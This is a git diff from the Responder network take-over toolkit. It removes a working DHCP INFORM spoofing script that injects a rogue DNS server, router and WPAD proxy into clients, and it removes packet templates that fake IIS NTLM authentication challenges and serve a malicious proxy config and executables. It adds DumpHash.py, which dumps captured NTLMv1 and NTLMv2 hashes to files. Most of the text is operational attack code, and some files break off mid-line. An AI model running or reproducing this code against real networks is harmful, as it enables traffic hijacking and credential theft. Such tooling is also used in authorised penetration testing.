-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import sys,struct,socket,re,optparse
-from odict import OrderedDict
-from socket import inet_aton, inet_ntoa
-
-
-parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
- prog=sys.argv[0],
- )
-parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
-
-parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
-
-parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
-
-parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
-
-parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
-
-parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
-
-parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
-
-parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
-
-parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
-
-parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
-
-options, args = parser.parse_args()
-
-def ShowWelcome():
- Message = 'DHCP INFORM Take Over 0.1\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nThis script will inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a linux box, use -R (noisy)'
- print Message
-
-if options.OURIP is None:
- print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
- parser.print_help()
- exit(-1)
-
-if options.Interface is None:
- print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
- parser.print_help()
- exit(-1)
-
-if options.RouterIP is None:
- print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
- parser.print_help()
- exit(-1)
-
-if options.DNSIP is None:
- print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
- parser.print_help()
- exit(-1)
-
-if options.DNSIP2 is None:
- print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
- parser.print_help()
- exit(-1)
-
-ShowWelcome()
-
-BCAST = "255.255.255.255"
-Interface = options.Interface
-OURIP = options.OURIP
-ROUTERIP = options.RouterIP
-NETMASK = options.Netmask
-DHCPSERVER = options.OURIP
-DNSIP = options.DNSIP
-DNSIP2 = options.DNSIP2
-DNSNAME = options.DNSNAME
-WPADSRV = options.WPAD
-Spoof = options.Spoof
-Request = options.Request
-
-if Spoof:
- DHCPSERVER = ROUTERIP
-
-def SpoofIP(Spoof):
- if Spoof:
- return ROUTERIP
- else:
- return OURIP
-
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-
-#####################################################################
-# Server Stuff
-#####################################################################
-
-class IPHead(Packet):
- fields = OrderedDict([
- ("Version", "\x45"),
- ("DiffServices", "\x00"),
- ("TotalLen", "\x00\x00"),
- ("Ident", "\x00\x00"),
- ("Flags", "\x00\x00"),
- ("TTL", "\x40"),
- ("Protocol", "\x11"),
- ("Checksum", "\x00\x00"),
- ("SrcIP", ""),
- ("DstIP", ""),
- ])
-
-class UDP(Packet):
- fields = OrderedDict([
- ("SrcPort", "\x00\x43"),
- ("DstPort", "\x00\x44"),
- ("Len", "\x00\x00"),
- ("Checksum", "\x00\x00"),
- ("Data", "\x00\x00"),
- ])
-
- def calculate(self):
- self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
-
-class DHCPACK(Packet):
- fields = OrderedDict([
- ("MessType", "\x02"),
- ("HdwType", "\x01"),
- ("HdwLen", "\x06"),
- ("Hops", "\x00"),
- ("Tid", "\x22\x1b\xe0\x1a"),
- ("ElapsedSec", "\x00\x00"),
- ("BootpFlags", "\x00\x00"),
- ("ActualClientIP", "\x00\x00\x00\x00"),
- ("GiveClientIP", "\x00\x00\x00\x00"),
- ("NextServerIP", "\x00\x00\x00\x00"),
- ("RelayAgentIP", "\x00\x00\x00\x00"),
- ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
- ("ClientMacPadding", "\x00" *10),
- ("ServerHostname", "\x00" * 64),
- ("BootFileName", "\x00" * 128),
- ("MagicCookie", "\x63\x82\x53\x63"),
- ("Op53", "\x35\x01\x05"), #Msgtype(ACK)
- ("Op54", "\x36"),
- ("Op54Len", "\x04"),
- ("Op54Str", ""), #DHCP Server
- ("Op51", "\x33"),
- ("Op51Len", "\x04"),
- ("Op51Str", "\x00\x00\xff\xff"), #Lease time, 1 day.
- ("Op1", "\x01"),
- ("Op1Len", "\x04"),
- ("Op1Str", ""), #Netmask
- ("Op15", "\x0f"),
- ("Op15Len", "\x0e"),
- ("Op15Str", DNSNAME), #DNS Name
- ("Op3", "\x03"),
- ("Op3Len", "\x04"),
- ("Op3Str", ""), #Router
- ("Op6", "\x06"),
- ("Op6Len", "\x08"),
- ("Op6Str", ""), #DNS Servers
- ("Op252", "\xfc"),
- ("Op252Len", "\x04"),
- ("Op252Str", WPADSRV), #Wpad Server.
- ("Op255", "\xff"),
-
- ])
-
- def calculate(self):
- self.fields["Op54Str"] = inet_aton(DHCPSERVER)
- self.fields["Op1Str"] = inet_aton(NETMASK)
- self.fields["Op3Str"] = inet_aton(ROUTERIP)
- self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
- self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
- self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
-
-class DHCPInformACK(Packet):
- fields = OrderedDict([
- ("MessType", "\x02"),
- ("HdwType", "\x01"),
- ("HdwLen", "\x06"),
- ("Hops", "\x00"),
- ("Tid", "\x22\x1b\xe0\x1a"),
- ("ElapsedSec", "\x00\x00"),
- ("BootpFlags", "\x00\x00"),
- ("ActualClientIP", "\x00\x00\x00\x00"),
- ("GiveClientIP", "\x00\x00\x00\x00"),
- ("NextServerIP", "\x00\x00\x00\x00"),
- ("RelayAgentIP", "\x00\x00\x00\x00"),
- ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
- ("ClientMacPadding", "\x00" *10),
- ("ServerHostname", "\x00" * 64),
- ("BootFileName", "\x00" * 128),
- ("MagicCookie", "\x63\x82\x53\x63"),
- ("Op53", "\x35\x01\x05"), #Msgtype(ACK)
- ("Op54", "\x36"),
- ("Op54Len", "\x04"),
- ("Op54Str", ""), #DHCP Server
- ("Op1", "\x01"),
- ("Op1Len", "\x04"),
- ("Op1Str", ""), #Netmask
- ("Op15", "\x0f"),
- ("Op15Len", "\x0e"),
- ("Op15Str", DNSNAME), #DNS Name
- ("Op3", "\x03"),
- ("Op3Len", "\x04"),
- ("Op3Str", ""), #Router
- ("Op6", "\x06"),
- ("Op6Len", "\x08"),
- ("Op6Str", ""), #DNS Servers
- ("Op252", "\xfc"),
- ("Op252Len", "\x04"),
- ("Op252Str", WPADSRV), #Wpad Server.
- ("Op255", "\xff"),
-
- ])
-
- def calculate(self):
- self.fields["Op54Str"] = inet_aton(DHCPSERVER)
- self.fields["Op1Str"] = inet_aton(NETMASK)
- self.fields["Op3Str"] = inet_aton(ROUTERIP)
- self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
- self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
- self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
-
-def ParseMac(data):
- return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
-
-def IsUDP(data):
- if data[0][23:24] == "\x11":
- return True
- if data[0][23:24] == "\x06":
- return False
-
-def ParseSrcDSTAddr(data):
- SrcIP = inet_ntoa(data[0][26:30])
- DstIP = inet_ntoa(data[0][30:34])
- SrcPort = struct.unpack('>H',data[0][34:36])[0]
- DstPort = struct.unpack('>H',data[0][36:38])[0]
- return SrcIP,SrcPort,DstIP,DstPort
-
-def FindIP(data):
- IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
- return ''.join(IP[0:4])
-
-def ParseDHCPCode(data):
- PTid = data[4:8]
- Seconds = data[8:10]
- CurrentIP = inet_ntoa(data[12:16])
- RequestedIP = inet_ntoa(data[16:20])
- MacAddr = data[28:34]
- OpCode = data[242:243]
- RequestIP = data[245:249]
- if OpCode == "\x08":
- i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
- p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
- p.calculate()
- u = UDP(Data = p)
- u.calculate()
- for x in range(1):
- SendDHCP(str(i)+str(u),(CurrentIP,68))
- return 'DHCP Inform received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
-
- if OpCode == "\x03":
- if Request:
- IP = FindIP(data)
- if IP:
- i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
- p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x80\x00",ElapsedSec=Seconds)
- p.calculate()
- u = UDP(Data = p)
- u.calculate()
- for x in range(1):
- SendDHCP(str(i)+str(u),("255.255.255.255",0))
- return 'DHCP Request received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
- else:
- return False
-
-
-def SendDHCP(packet,Host):
- Protocol = 0x0800
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
- s.sendto(packet, Host)
-
-def SniffUDPMac():
- s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
- Protocol = 0x0800
- s.bind((Interface, Protocol))
- while True:
- data = s.recvfrom(65535)
- if IsUDP(data):
- SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
- if SrcPort == 67 or DstPort == 67:
- Message = ParseDHCPCode(data[0][42:])
- if Message:
- print ParseMac(data)
- print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
- print Message
-
-
-SniffUDPMac()
-
diff --git a/DumpHash.py b/DumpHash.py
new file mode 100755
index 0000000..daf0382
--- /dev/null
+++ b/DumpHash.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python3
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sqlite3
+
+def DumpHashToFile(outfile, data):
+ with open(outfile,"w") as dump:
+ dump.write(data)
+
+def DbConnect():
+ cursor = sqlite3.connect("./Responder.db")
+ return cursor
+
+def GetResponderCompleteNTLMv2Hash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ Output = ""
+ for row in res.fetchall():
+ if "$" in row[0]:
+ pass
+ else:
+ Output += '{0}'.format(row[0])+'\n'
+ return Output
+
+def GetResponderCompleteNTLMv1Hash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ Output = ""
+ for row in res.fetchall():
+ if "$" in row[0]:
+ pass
+ else:
+ Output += '{0}'.format(row[0])+'\n'
+ return Output
+
+cursor = DbConnect()
+print("Dumping NTLMV2 hashes:")
+v2 = GetResponderCompleteNTLMv2Hash(cursor)
+DumpHashToFile("DumpNTLMv2.txt", v2)
+print(v2)
+print("\nDumping NTLMv1 hashes:")
+v1 = GetResponderCompleteNTLMv1Hash(cursor)
+DumpHashToFile("DumpNTLMv1.txt", v1)
+print(v1)
diff --git a/Fingerprint.py b/Fingerprint.py
deleted file mode 100644
index 29a7837..0000000
--- a/Fingerprint.py
+++ /dev/null
@@ -1,134 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import re,sys,socket,struct,string
-from socket import *
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
- ("data", "")
- ])
-
- def calculate(self):
- self.fields["bcc"] = struct.pack(".
-import re,socket,struct
-from socket import *
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
- ("data", "")
- ])
-
- def calculate(self):
- self.fields["bcc"] = struct.pack(".
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_401_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 401 Unauthorized\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
-
-#HTTP Packet Granted auth.
-class IIS_Auth_Granted(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("CRLF", "\r\n\r\n"),
- ("Payload", "\n
\n\n\n
\n\n\n"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP NTLM Auth
-class NTLM_Challenge(Packet):
- fields = OrderedDict([
- ("Signature", "NTLMSSP"),
- ("SignatureNull", "\x00"),
- ("MessageType", "\x02\x00\x00\x00"),
- ("TargetNameLen", "\x06\x00"),
- ("TargetNameMaxLen", "\x06\x00"),
- ("TargetNameOffset", "\x38\x00\x00\x00"),
- ("NegoFlags", "\x05\x02\x89\xa2"),
- ("ServerChallenge", ""),
- ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("TargetInfoLen", "\x7e\x00"),
- ("TargetInfoMaxLen", "\x7e\x00"),
- ("TargetInfoOffset", "\x3e\x00\x00\x00"),
- ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
- ("TargetNameStr", "SMB"),
- ("Av1", "\x02\x00"),#nbt name
- ("Av1Len", "\x06\x00"),
- ("Av1Str", "SMB"),
- ("Av2", "\x01\x00"),#Server name
- ("Av2Len", "\x14\x00"),
- ("Av2Str", "SMB-TOOLKIT"),
- ("Av3", "\x04\x00"),#Full Domain name
- ("Av3Len", "\x12\x00"),
- ("Av3Str", "smb.local"),
- ("Av4", "\x03\x00"),#Full machine domain name
- ("Av4Len", "\x28\x00"),
- ("Av4Str", "server2003.smb.local"),
- ("Av5", "\x05\x00"),#Domain Forest Name
- ("Av5Len", "\x12\x00"),
- ("Av5Str", "smb.local"),
- ("Av6", "\x00\x00"),#AvPairs Terminator
- ("Av6Len", "\x00\x00"),
- ])
-
- def calculate(self):
- ##First convert to uni
- self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
- self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
- self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
- self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
- self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
- self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
-
- ##Then calculate
- CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
-
- CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
-
- CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
- # Target Name Offsets
- self.fields["TargetNameOffset"] = struct.pack(".
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
-class WPADScript(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("CRLF", "\r\n\r\n"),
- ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServerExeFile(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ContentType", "Content-Type: application/octet-stream\r\n"),
- ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
- ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
- ("Server", "Server: Microsoft-IIS/7.5\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
- ("Connection", "Connection: keep-alive\r\n"),
- ("X-CCC", "US\r\n"),
- ("X-CID", "2\r\n"),
- ("CRLF", "\r\n"),
- ("Payload", "jj"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysExeFile(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ContentType", "Content-Type: application/octet-stream\r\n"),
- ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
- ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
- ("Server", "Server: Microsoft-IIS/7.5\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentDisp", "Content-Disposition: attachment; filename="),
- ("ContentDiFile", ""),
- ("FileCRLF", ";\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
- ("Connection", "Connection: keep-alive\r\n"),
- ("X-CCC", "US\r\n"),
- ("X-CID", "2\r\n"),
- ("CRLF", "\r\n"),
- ("Payload", "jj"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysNormalFile(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ContentType", "Content-Type: text/html\r\n"),
- ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
- ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
- ("Server", "Server: Microsoft-IIS/7.5\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
- ("Connection", "Connection: keep-alive\r\n"),
- ("X-CCC", "US\r\n"),
- ("X-CID", "2\r\n"),
- ("CRLF", "\r\n"),
- ("Payload", "jj"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_407_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 407 Authentication Required\r\n"),
- ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
- ("Connection", "Connection: close \r\n"),
- ("PConnection", "proxy-Connection: close \r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
-
-#HTTP NTLM packet.
-class IIS_407_NTLM_Challenge_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 407 Authentication Required\r\n"),
- ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWWAuth", "Proxy-Authenticate: NTLM "),
- ("Payload", ""),
- ("Payload-CRLF", "\r\n"),
- ("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
-
- def calculate(self,payload):
- self.fields["Payload"] = b64encode(payload)
-
-#HTTP Basic answer packet.
-class IIS_Basic_407_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
diff --git a/IMAPPackets.py b/IMAPPackets.py
deleted file mode 100644
index 51f13e8..0000000
--- a/IMAPPackets.py
+++ /dev/null
@@ -1,55 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-#IMAP4 Greating class
-class IMAPGreating(Packet):
- fields = OrderedDict([
- ("Code", "* OK IMAP4 service is ready."),
- ("CRLF", "\r\n"),
- ])
-
-#IMAP4 Capability class
-class IMAPCapability(Packet):
- fields = OrderedDict([
- ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
- ("CRLF", "\r\n"),
- ])
-
-#IMAP4 Capability class
-class IMAPCapabilityEnd(Packet):
- fields = OrderedDict([
- ("Tag", ""),
- ("Message", " OK CAPABILITY completed."),
- ("CRLF", "\r\n"),
- ])
diff --git a/LDAPPackets.py b/LDAPPackets.py
deleted file mode 100644
index 7de4409..0000000
--- a/LDAPPackets.py
+++ /dev/null
@@ -1,238 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-
-import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-
-class LDAPSearchDefaultPacket(Packet):
- fields = OrderedDict([
